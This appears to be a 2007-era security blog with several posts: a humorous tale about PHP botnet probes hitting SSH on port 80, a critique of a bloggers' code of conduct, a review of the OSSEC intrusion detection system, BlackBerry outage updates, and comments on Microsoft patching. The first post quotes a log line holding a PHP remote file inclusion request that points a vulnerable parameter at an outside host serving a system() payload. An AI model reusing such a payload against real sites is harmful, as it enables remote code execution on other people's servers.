Put your trust in us

That is a direct quote from a website hosting malicious PHP payloads. This is a real story of irony. I laughed; I cried. Here we go.

Enter a publicly facing Unix system.
For whatever reason, it has SSH bound to a ton of ports, including 80 and 443.
The sysadmin reviews the logs daily.
What have we got today?
Look it's more PHP botnet traffic hitting port 80.
Silly bot, that's SSH bound to port 80.

Lets take a look at a log snippet

Apr 4 00:00:00 serverName sshd[93113]: Bad protocol version identification 'GET /PNC/modules/vWar_Account/includes/functions_common.php?vwar_root2= http://www.foo.com/safe' from x.x.x.x

Nothing to see here, move along, move along.
Just for fun, the sysadmin points his browser to www.foo.com/safe.
Nothing new here either, its standard PHP system() call.
Even for more fun, lets see what else is hosted at www.foo.com
It's a brochure website for a locksmith.
Their marketing tag line:

ALLOW US TO TAKE AWAY YOUR SECURITY PROBLEMS.

PUT YOUR TRUST IN US.

YOU WON'T BE DISAPPOINTED.

Maybe they specialize in bump keys?

(Picture is a screen shot snippet from the website. Real identities masked to protect the poor locksmith who probably has no idea what I'm talking about)

Tim O'Reilly, we don't need more rules. People just need to be educated.

In light of recent death threats to Kathy Sierra and the unfortunate outcome of her situation, Tim O'Reilly and others have put forth a draft of the Bloggers Code of Conduct. I once met Tim and he's a nice guy. Like any good geek I'm enamored with O'Reilly books, but more rules aren't the fix.

This might sound strange coming from a career IT guy. To live in IT, you need rules and procedures. What's more, you need people to follow them. The way we get people to follow rules is not by imposing more, it's by education. The code of conduct isn't exactly rules, but more akin to how I agree to act and how I expect others to act on the Internet. Well guess what? It already exists. Its called RFC 1855.

I've already called attention to RFC 1855 on this blog. It is something that everyone should read. Granted, it needs some updating for terminology and technology. However, the basis for which it rests and the ideologies for which it support are still valid.

Scoble responded to O'Reilly's post. In his response he noted something important that many people don't understand.

Second, I engage with my trolls. Why? Cause if they show up here I think they deserve an answer and I find they often get me to think deeper about the topic that I'm writing about than if we didn't engage in a little gutter wrestling.

I absolutely agree. Those who disagree with you should be invited to the conversation. None of us are all knowing. The act of disagreeing furthers the topic. Sometimes having to explain your position to a naysayer will force you to review your own opinion. At worst, you'll be back to the same conclusion. At best, you'll have a new understanding of which you can put in your toolbox for another day.

Lets turn our attention to something more productive - education. Spend a few minutes each week educating your user base. Instead of slapping someone for using an easy password, educate him or her on why the policy exists. Don't create more rules when rules are being broken. Get to the root of the problem. Spend time with your users. Let them complain and allow yourself to listen. Before conduct gets out of hand, pull out RFC1855. Let it be a course in history and manner.

(This is part of a regular series where I discuss free information security products, tools, methodologies, hardware, etc. For a description of this column and to read other Free Lunch menus, check out the category archive)

OSSEC is an open source host based intrusion detection system. The website states, "It performs log analysis, integrity checking, Windows registry monitoring, rootkit detection, time-based alerting and active response." That is a mouthful.

Regardless of your opinion of a HIDS and IDSes in general, OSSEC probably covers at least one item on your I need that checklist. You may have log analysis tools already, but maybe lack host integrity checking. If you like the functionality of open source trip wire, but need centralized reporting and data gathering, then OSSEC is for you.

System integrity checking is one area that highlights OSSEC's architecture. One can choose to run in a client/server or standalone design. The agent is a slimmed down server install and doesn't listen on any ports. In classic client style, it active opens connections to the server when needing to communicate data. Communications occur over UDP 1514. Traffic is compressed and encrypted using Blowfish with 192 bits. Agents are authorized into the server using a pre-shared key, which also acts as the encryption key. In the case of host integrity checking, one no longer needs to store the integrity database on the server. Compared to other integrity checkers that store the database on a non-writable medium (very laborious) or in a risky obfuscated partition, OSSEC uses the client/server architecture to store data on server. The client sends snapshots to the server where in turn the integrity delta is calculated. Adding to OSSEC's security design is it's chroot by design. A vanilla install from source sets up a few users to run the separate processes and ensures that all the processes chroot themselves. This is a nice added benefit lacking in many open source products.

OSSEC does provide other features, which include log analysis, a Windows registry checker, rootkit detection, a robust alerting system and active response actions. There is too much in this product to cover in the regular monthly Free Lunch, but lets hone in log analysis for a moment. Log analysis is an important requirement for security monitoring. OSSEC ships with a ton of prebuilt log rules. During runtime, it monitors all the system logs and can be modified to monitor fewer or more log files in a few simple configuration statements. Logs are processed by a speedy engine, which attempts to match rules stored in XML files. The XML definitions are robust, allowing for options such as alert level, regular expression matching, process lookup, IP correspondence and over 25 other directives. One word of caution, learn how to write your own rules. This is especially important when needing to ignore log events. By default, all log lines will match something and send an alert. Great by design, as you'd rather be alerted by default. However this can be frightful at first when the storm of email alerts comes thundering at your inbox.

Product Rating

Features:
Ease of Use:
Documentation:
Community:
Overall:

Enough about the features lets quickly cover ease of use, documentation and community. After a few hours of tinkering, the system became easy to use and understand. Configuration directives are stored in simple to read and understand configuration files. Install was a breeze, though running upgrades are generally a better test of the install process. We'll have to wait for the next version and see. Documentation was adequate if you already have an idea as to what is going on. We would have liked more macro level discussions. Topics like deployment best practices and overall architecture design would be a nice addition. The community around OSSEC is hard to gauge. We noticed the mailing lists active and many references to OSSEC on the Internet, however the Wiki site seems ominously quite. This dichotomy leads one to believe that there aren't many active developers. Though we need to point out there are more than a dozen developers and contributor names on the OSSEC website. By all accounts, we don't think OSSEC is going away soon, but users should spend more time giving back.

OSSEC is licensed under the terms of version 2 of the GNU GPL.

Enjoy the Free Lunch.

We seem to be experiencing a rather wide spread outage of Blackberry / RIM service in North America. A few Blackberry forums show users reporting significant outages. We also seem to be showing the same issues, as of about 5:15PM Pacific. While we await our official ticket with Blackberry to be acted upon, does anyone have any official word from RIM?

Meanwhile, if this is a large outage, what a great time to go launch an attack. Many, many companies rely on these smartphone devices to alert their operations teams. We are essentially blind. Time to go bust out my alpha pager and fire up qpage. Always good to have a backup plan.

Update:
Received a response from BlackBerry support:

We are experiencing technical difficulties with BlackBerry services affecting sending and receiving of emails. You will also experience issues using the BlackBerry Browser and sending and receiving of PIN to PIN messages. We are taking all necessary actions to restore regular service levels.

Confirmed its a network issue.

Update: 10:00PM Pacific. NBC out of NY has picked up the story.

NEW YORK -- NewsChannel4 has learned of a massive system failure affecting all blackberry users in the western hemisphere.

Its a big one, folks.

Update: 8:50AM Pacific, 4/18/07

As a paid subscriber to Blackberry Technical Support Services, I received an official update from Blackberry. Unfortunately, its contents must be kept confidential. The email begins with a lengthy disclaimer and statement of confidentiality. Obviously, they are trying to communicate, but within some guidelines.

Also changed the subject of this post.

RIM released a statement this evening regarding their massive outage. A few key points:

* The outage occurred during a software upgrade.
* Apparently, the software was not fully vetted in a non-production system.
* In their attempts to fix the outage, RIM migrated their systems to a fail over environment. Unfortunately, that system did not perform to its intended expectations.

The outcome?

* The market will force RIM to follow a better software development life cycle.
* RIM will probably test their fail over system more often.
* Larger, more important questions regarding the security, reliability and privacy of RIM's architecture will be put in the spotlight.

Microsoft historically takes a bad rap with respect to its handling of vulnerabilities. Maybe that might better worded as...They take a lot of heat from a lot of people whenever something, anything, small or large hits any public forum that something with the Microsoft name on it is found mildly vulnerable to any kind of attack. I'll admit it, I'm one of those people who can easily bash Microsoft.

This evening, I'm taking a different stance. I'm genuinely impressed by Microsoft's responsiveness as of late. The .ani file handling aka the GDI vulnerability was fixed rather quickly. Now they've got a more complex problem -- the RPC/DNS bug. Yes, I'd like to see the patch faster. Yes, I'd like it better if it were never vulnerable to start with (hrmm, don't end a sentence with a preposition). There seems to a different Microsoft so far in 2007. Today they gave us a new posting discussing a knowledge base article on the use of script to automate suggested mitigation efforts.

Communication is good.

I'd rather not have buggy code at all, but I'm happy to accept the efforts and communications.

(I'll now hide under the desk as everyone throws rocks at me)